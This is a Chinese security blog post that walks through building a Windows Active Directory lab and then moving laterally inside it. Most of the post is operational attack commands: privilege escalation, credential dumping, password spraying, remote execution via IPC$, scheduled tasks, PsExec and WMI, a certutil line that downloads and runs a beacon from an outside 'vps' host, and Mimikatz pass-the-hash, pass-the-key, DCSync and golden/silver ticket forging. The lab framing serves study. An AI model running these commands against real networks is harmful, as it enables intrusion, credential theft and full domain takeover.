查看原文
其他

原创 | 域环境搭建以及域内横向姿势总结

Am1azi3ng SecIN技术平台 2024-05-25

点击蓝字




关注我们



域环境搭建


安装winsever 2012R2

略过安装虚拟机的步骤

设置虚拟网卡vmnet1为仅主机模式,手动设定ip地址为192.168.10.10

安装AD和DNS服务
添加角色和功能->基于角色或基于功能安装->
从服务器池中选择服务器
添加AD域服务和DNS服务
确认安装
安装成功
该服务器设置为域控服务器

配置域环境

配置域控制器选项

配置DNS选项,直接下一步,直至安装结束重启服务器

添加域用户
工具->user-添加用户

密码长度要符合要求,域用户新建成功。

配置域内主机

这里我选择winserver2012
配置dns服务器地址
测试连接状态
添加域内主机

加入域成功重启服务器,登录用户san

登录时需要重置密码登录
命令查看登录成功
网络环境
winser2012R2-1 DC服务器 192.168.10.10
winser2012R2-2 域内主机 双网卡 192.168.10.11 192.168.2.129
win7 192.168.10.14 192.168.2.167 双网卡
win10 192.168.10.13 192.168.2.116 双网卡
内网渗透

攻击机win10

首先拥有R2-2的权限普通用户,查询服务器系统

直接使用土豆提权就好
获取到system权限

根据systeminfo,查询到存在域,且双网卡

抓取密码凭证

获取到user1用户的明文密码以及hash值,内网扫描

获取到内网主机

域渗透


横向渗透

根据拿到的用户名和密码进行密码喷洒,常用的工具比较多Crack系列工具或者cs插件都可以实现,或者根据密码枚举用户

1.ipc管道+计划任务

net use \192.168.10.13\c$ "1qaz@WSX" /user:user2

net use

上线cs,利用ipc隧道上传cs马上线即可
shell schtasks.exe /create /s 192.168.10.13 /sc once /st 20:03 /tn test2 /tr c:\beacon.exe /ru system /f /u workgroup\administrator /p "xxxx"
上线,需要关闭win serverR1的防火墙
  • 注意事项

这里需要目标机器的管理员用户权限才可以,或者域用户存在域管理员组,这里的巧合是因为搭建环境的时候administrator的口令和域用户user1,user2的口令相同,同样密码喷洒是可以爆破出来的。

2. ipc管道+psexec横向
无明文密码但是有hash的时候可以利用

  • 使用条件

无明文密码
内网或者域内存在主机使用想用的密码
建立ipc隧道的用户为目标主机的管理用用户或者用户属于管理员用户组内
上传文件PsExec.exe,首先创建ipc$隧道,使用该应用进行横向
net use \\xxxxxxx\c$ "password" /u:administratorcopy beacon.exe \\xxxxxxx\c$psexec -accepteula \\xxxxxxx -h -d c:\beacon.exe

目标主机上线

  • 优点

psexec.exe在杀软白名单,一般不会拦截,且可以直接提权至system权限。

3.ipc管道+smbexec横向

方法跟上面差不多,需要注意的是,ipc管道使用的条件是:管理员用户密码,139,445端口开放

4.wmi横向

WMI是由一系列工具集成的,可以在本地或者远程管理计算机系统,主要通过135端口进行利用,支持明文或者Hash的方式进行认证,该手法并不会在操作系统中留下日志,推荐使用该方法进行内网的横向移动。
条件:开启135端口管理员账号和密码或者账号所属管理员用户组

shell wmic.exe /node:192.168.10.11 /user:<目标用户> /password:<目标密码> process call create "cmd.exe /c whoami > c:\1.txt"

shell dir \192.168.10.11\c$
这里为方便查看所以使用的命名管道查看文件

shell type \\192.168.10.11\c$\1.txt

cs上线
  • 机器出网
下载cs马上线,上线方法可使用certutil或者mshta或者powershell等(上线方法简便)
cs添加监听,起一个web服务,提供恶意文件的下载地址
shell wmic /node:192.168.10.11 /user:<目标用户> /password:<目标密码> process call create "certutil.exe -urlcache -split -f http://vps:port/a.exe c:\windows\temp\certutil.exe"
这里一般使用的路径尽量选择c:\windows\temp\certutil.exe
否则会报错

shell wmic /node:192.168.10.11 /user:<目标用户> /password:<目标密码> process call create "cmd.exe /c c:\windows\temp\certutil.exe"
成功上线
  • 机器不出网
ipc管道+转发上线+wmic
条件:端口139,445  目标主机的用户名以及密码
单纯使用ipc管道和转发上线其实也可以但是需要定时任务,创建定时任务的话会提示,但是如果使用wmic直接去执行上线的效果可能会更好
shell net use \\目标主机ip\c$ "<密码>" /u:<用户名>shell net use #查看目标链接状态shell copy beacon.exe \\目标主机ip\c$\beacon.exeshell wmic /node:目标主机ip /user:<用户名> /password:<密码> process call create "cmd.exe /c c:\beacon.exe"   #目标主机上线
5.pass the hash(pth)
一般使用条件,在无法使用ipc命名管道的情况下,也就是无明文密码但是获取到用户NTLM哈希值,使用pth进行横向
条件:用户必须处于已登录状态
工具Mimikatz
privilegesekurlsa::pth /user:<用户名> /domain:<域名> /ntlm:161cff084477fe596a5db81874498a24
弹窗之后
dir \\横向目标IP\c$

6.pass the key(ptk)

用户需要在横向目标的管理员用户组内,否则权限不足,拒绝访问实际上这里未安装补丁KB2871997依旧可以实现ptk
privilege::debug
sekurlsa::ekeys

无补丁的情况下无法获取到aes256的key值,安装补丁KB2871997,查看之后发现该补丁不支持win10。

privilege::debugsekurlsa::ekeyssekurlsa::pth /user:<用户名> /domain:<域名> /aes256:363776e0362734fa87ba0077bed16794d1bcd3800719d23243d58cb1d3b95168dir \\主机名\c$

7.pass the ticket(ptt)
PTT票据传递攻击主要根据Kerberos协议和Kerberos的认证机制原理来进行攻击的
条件用户需要在横向目标的管理员用户组内,否则权限不足,拒绝访问
命令:
privilege::debugsekurlsa::tickets /exportkerberos::ptt "票据文件"  //kerberos::ptt "[0;9414b]-2-0-40e10000-Administrator@krbtgt-<域名>.COM.kirbi"
Kerberos::purge     //清除票据
黄金票据
使用条件
获取kertgt用户的sid和ntlm的哈希值

域控主机

lsadump::dcsync /domain:starseaseclab.com /user:krbtgt 

跳板机执行

klist //查看票据文件kerberos::golden /user:administrator /domain:<域名> /sid:S-1-5-21-1719736279-3906200060-616816393 /krbtgt:5e31f755b33b621bede0946b044908e4 /ptt //票据直接注入内存klist purge  //清楚内存票据

白银票据

使用条件:域管sid

kerberos::golden:使用minikatz中票据的功能/domain:指定域名/sid:Client端查询的sid号,在域控中查询也可以,都是一样的/target:主域控中的计算机全名/rc4:在域控中抓取的hash(NTLM)/service:需要伪造的服务(cifs只是其中的一种服务,可伪造的服务很多)/user:需要伪造的用户名(可自定义)/ppt:伪造了以后直接写入到内存中

命令

获取信息域sid:S-1-5-21-1719736279-3906200060-616816393ntlm:5e31f755b33b621bede0946b044908e4
制作一张 cifs 服务的白银票据kerberos::golden /domain:<域名> /sid:S-1-5-21-1719736279-3906200060-616816393 /target:administrator.<域名> /service:cifs /rc4:5e31f755b33b621bede0946b044908e4 /user:administrator /ptt
dir \\win-dc\c$ 

ptt和ptk的横向方式仅针对于域内


总结

基本上的横向姿势应该就是这些了,基本上原理都差不多,实战的话肯定根据需求使用,金票在实战中确实一般利用不到,当然也还有其他横向工具,姿势基本上就是这样了。


往期推荐



原创 | 细谈使用CodeQL进行反序列化链的挖掘过程

原创 | 记一次某部内存取证比赛writeup

原创 |  代码审计入门之XHCMS

继续滑动看下一个
向上滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存